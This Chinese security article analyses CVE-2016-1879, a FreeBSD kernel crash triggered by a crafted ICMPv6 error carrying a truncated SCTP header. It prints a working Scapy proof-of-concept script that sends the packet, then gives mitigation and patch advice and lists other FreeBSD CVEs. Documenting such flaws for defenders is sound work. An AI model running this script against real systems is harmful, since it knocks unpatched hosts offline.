频道栏目
首页 > 安全 > 网络安全 > 正文
FreeBSD远程DoS攻击的利用分析(CVE-2016-1879)
2016-01-28 09:13:02         来源:dawner  
收藏   我要投稿

 

FreeBSD团队宣布他们的操作系统存在严重的漏洞黑客可以利用这个漏洞进行DoS(拒绝服务)攻击,提权或窃取系统敏感信息。

SCTP ICMPv6错误处理漏洞 (CVE-2016-1879)

SCTP (流控制传输协议)是一种传输层协议,它可以用来在IP环境中传输信号。通常,移动运营商会在技术网络中使用这个协议。

这个漏洞影响了FreeBSD系统的数个版本(9.3、10.1、10.2),如果它们支持SCTP和IPV6就会中招(这其实是系统默认配置)。黑客利用这个漏洞,需要发送一个精心构造的ICMPv6消息。如果漏洞利用成功,就可以对系统进行DoS攻击。

DoS攻击是由于系统对来自ICMPv6的错误消息,并没有仔细检查其中SCTP包头部的长度。如果目标接收者不存在,路由会生成一个错误信息,通过ICMPv6反馈给发送人。

该ICMPv6包括原始的IPv6包,其中的Next Header区域会显示SCTP是如何封装的:

 

 

在系统内核接收了通过ICMPv6发送来的错误消息时,它会将上层协议包传输到必要的解析器sctp6_ctlinput()里。SCTP解析器将传入的头部误认为是合法长度,然后会试图用m_copydata()将它copy,里面存有偏移值和字节数值。本来系统预计消息的头部长度是12个字节,但是黑客可能就给它发送了一个长为11字节的头部,最后空指针的引用就导致了内核崩溃。

漏洞利用代码

利用这个漏洞时,我们并不需要开放的SCTP套接字。神奇的Scapy会帮助我们,创建漏洞利用所需的ICMPv6数据包(这里编辑器代码排版缩进如下,有需求请自行调整):

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)

下面是攻击演示的视频: 

修复和安全建议

为了保护您的系统不受该漏洞的侵害,我们建议您这么做: 

如果不需要IPv6,请将其禁用。
在防火墙禁用ICMPv6或者IPv6流量。
如果用不上的话,请禁用系统内核对SCTP堆栈的支持(需要重新编译内核)。

修复漏洞,您可以使用供应商的补丁,安装对SCTP ICMPv6消息的额外校验,这里也需要重新编译内核。

其他漏洞相关

此外,FreeBSD系统还爆出了其他严重漏洞,官方开发人员为它们发布了补丁。

1.存在这么一个漏洞,如果系统启用了TCP_MD5SIG和TCP_NOOPT,黑客通过TCP连接可以对系统进行DoS攻击。他们只需要某个TCP_NOOPT启用的监听套接字,就能利用这个漏洞(CVE-2016-1882补丁)。

2.Linux下Robust Futex错误,会导致系统内存数据泄露(CVE-2016-1880补丁)。

3.不安全的默认配置,导致了黑客可以访问守护进程配置文件/etc/bsnmpd.conf(CVE-2015-5677补丁)。

为了保护您的系统不受漏洞侵害,强烈建议您在进行安全配置之后再使用IPv6地址,并安装好相应的安全工具来保护系统安全

 

点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇:极客DIY:廉价电视棒玩转GNSS-SDR,实现GPS实时定位
下一篇:Operation Emmental:攻击移动银行用户的犯罪行动
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站